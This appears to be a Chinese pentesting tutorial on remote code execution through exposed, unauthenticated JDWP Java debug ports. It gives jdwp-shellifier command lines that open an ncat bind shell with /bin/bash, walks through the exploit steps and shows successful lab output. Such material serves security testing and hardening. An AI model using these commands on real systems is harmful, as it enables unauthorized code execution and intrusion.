JDWP调试接口RCE

简介: JDWP调试接口RCE

什么是JDWP协议?

JDWP(Java Debug Wire Protocol,Java调试线协议)是一个为Java调试而设计的通讯交互协议,它定义了调试器(Debugger)和被调试JVM(Debuggee)进程之间的交互数据的传递格式,它详细完整地定义了请求命令、回应数据和错误代码,保证了调试端和被调试端之间通信通畅。

利用方式

在渗透测试的过程中,如果遇到目标Java应用开启了JDWP服务且没有配置访问控制的情况下,就可以利用JDWP实现远程代码执行。

漏洞利用脚本

https://github.com/IOActive/jdwp-shellifier

./jdwp-shellifier.py -t x.x.x.x -p 8000 #获取内部数据 
./jdwp-shellifier.py -t x.x.x.x -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something 
./jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.

实战案例

图片

这里使用--break-on 'java.lang.String.indexOf'使漏洞利用更加稳定。

Debuggee 由一个运行我们的目标应用程序的多线程 JVM 组成。为了能够远程调试,JVM 实例必须使用在命令行上传递的选项 -Xdebug 以及选项 -Xrunjdwp(或 -agentlib)显式启动。例如,启动启用了远程调试的 Tomcat 服务器如下所示:

图片

如体系结构图中所示,Java Debug Wire Protocol 是 Debugger 和 JVM 实例之间的中心链接。关于协议的观察包括:

  • 它是一种基于数据包的网络二进制协议。
  • 它主要是同步的。调试器通过 JDWP 发送命令并期望收到回复。但是,某些命令(如事件)不需要同步响应。当满足特定条件时,他们将发送回复。例如,断点是一个事件。
  • 它不使用身份验证。
  • 它不使用加密。

当此类服务暴露于恶意网络或面向 Internet 时,事情可能会出错。

JDWP 规定必须通过简单的握手来启动通信。TCP 连接成功后,调试器(客户端)发送 14 个字符的 ASCII 字符串“JDWP-Handshake”。调试对象(服务器)通过发送完全相同的字符串来响应此消息。这种简单的握手提供了一种轻松发现 Internet 上实时 JDWP 服务的方法。只需发送一个简单的探测并检查特定响应。

这里用Scapy对其的通信进行一个抓包

>>> sniff(filter=”tcp port 8000 and host 192.168.160.128″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.160.128:8000 > 192.168.160.128:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:

通过上面的结果,对于这种简单的握手,我们只需编写一个脚本,发送一个简单的探测并检查特定的响应即可,如下:

图片

JDWP 定义了调试器和被调试器之间通信所涉及的消息[10]。消息遵循一个简单的结构,定义如下图片

Length 和 Id 字段是不言自明的。Flag字段仅用于区分请求包和回复包,值为0x80表示回复包。命令集字段定义命令的类别,如下表所示。\

「命令集」 命令
0x40 JVM 采取的行动(例如设置断点)
0x40–0x7F 向调试器提供事件信息(例如,JVM 已达到断点并正在等待进一步的操作)
0x80 第三方扩展

我们想要执行任意代码,以下命令对我们的目的来说必要的。

  • VirtualMachine/IDSizes 定义 JVM 处理的数据结构的大小。这是 nmap 脚本 jdwp-exec.nse不起作用的原因之一,因为该脚本使用硬编码大小。
  • ClassType/InvokeMethod 允许您调用静态函数。
  • ObjectReference/InvokeMethod 允许您从 JVM 中的实例化对象调用函数。
  • StackFrame/(Get|Set)Values 提供从线程堆栈推送/弹出功能。
  • Event/Composite 强制 JVM 对此命令声明的特定行为做出反应。此命令是调试目的的主要关键,因为它允许设置断点、在运行时单步执行线程以及在以与 GDB 或 WinDBG 完全相同的方式访问/修改值时收到通知。

JDWP 不仅允许您访问和调用已驻留在内存中的对象,还允许您创建或覆盖数据。

  • VirtualMachine/CreateString 允许您将字符串转换为存在于 JVM 运行时中的 java.lang.String。
  • VirtualMachine/RedefineClasses 允许您安装新的类定义。

综上所述,JDWP 提供了内置命令来将任意类加载到 JVM 内存中并调用已经存在的和或新加载的字节码。

下面将讲解 Python 中创建漏洞利用代码的步骤,其行为类似于 JDI 前端的部分实现,以便尽可能可靠。

当面对一个开放的 JDWP 服务时,任意命令的执行恰好是五步之遥。

以下是它的运行方式:

  1. 获取 Java 运行时引用 JVM 通过对象的引用来操作对象。为此,我们的 exploit 必须首先获取对 java.lang.Runtime 类的引用。从这个类中,我们需要引用 getRuntime() 方法。这是通过获取所有类(AllClasses 数据包)和我们正在寻找的类(ReferenceType/Methods 数据包)中的所有方法来执行的。
  2. 设置断点等待通知(异步调用)这是我们exploit的关键。要调用任意代码,我们需要处于运行中的线程上下文中。为此,一种技巧是在已知在运行时调用的方法上设置断点。如前所述,JDI 中的断点是一个异步事件,其类型设置为 BREAKPOINT(0x02)。被击中时,图片

因此最好将它设置在经常调用的方法上,例如 java.net.ServerSocket.accept(),每次服务器接收到新的网络连接时很可能调用它。但是,必须记住,它可以是运行时存在的任何方法。

  1. 在Runtime中分配一个Java String对象来执行payload 我们将在JVM运行时执行代码,所以我们操作的所有数据(比如string)都必须存在于JVM运行时(即拥有运行时引用)。通过发送 CreateString 命令可以很容易地完成此操作。

图片

  1. 从断点上下文中获取运行时对象 此时,我们几乎拥有成功、可靠利用所需的所有元素。我们缺少的是运行时对象引用。获取它很容易,我们可以通过发送 ClassType/InvokeMethod 数据包并提供运行时类和线程引用,在 JVM 运行时简单地执行 java.lang.Runtime.getRuntime() 静态方法[8]。
  2. 在运行时实例中查找和调用 exec() 方法最后一步只是在上一步获得的运行时静态对象中查找 exec() 方法,并使用我们的 String 对象调用它(通过发送 ObjectReference/InvokeMethod 数据包)在第三步中创建

    图片

演示

启用 JPDA“调试模式”的情况下运行的 Tomcat:

root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start

我们在没有命令执行的情况下执行我们的脚本,以简单地获取一般系统信息:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.160.128 
[+] Targeting ‘192.168.160.128:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed

相同的命令行,但针对 Windows 系统并采用完全不同的方法进行中断:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.160.128 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.160.128:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed
目录
相关文章
|
安全 Java 数据安全/隐私保护
java JDWP调试接口任意命令执行漏洞
java JDWP调试接口任意命令执行漏洞
373 1
3.4bochs的调试方法
3.4bochs的调试方法
268 0
|
Web App开发 安全 Shell
Chrome远程代码执行并移植MSF控制
Chrome远程代码执行并移植MSF控制
Chrome远程代码执行并移植MSF控制
|
JSON 算法 安全
Frida + AndroidAsync 实现 RPC
Frida + AndroidAsync 实现 RPC
Frida + AndroidAsync 实现 RPC
|
Web App开发 JavaScript 前端开发
网页调试之debugger原理与绕过
当我们调试JS的时候,时常会遇见无限debugger。无限debugger的原理是什么呢?它在何时触发?如何绕过?
1321 0
网页调试之debugger原理与绕过
|
Java 编译器 C++
JNI编程怎么跟踪调试dll?
本文主要讲解一下在jni开发中,如何调试C/C++编写的DLL模块。
461 0
JNI编程怎么跟踪调试dll?
|
NoSQL 前端开发 Linux
【调试】SystemTap调试网卡状态一例
调试其实不仅仅是针对内核或者进程崩溃的情况,很多时候我们需要跟踪的问题并不是通过分析一个core dump能够解决的,比如类似一些状态信息输出不对,或者内核或程序行为不符合预期。此时我们经常需要依赖于日志,尤其是内核层面的问题。
【调试】SystemTap调试网卡状态一例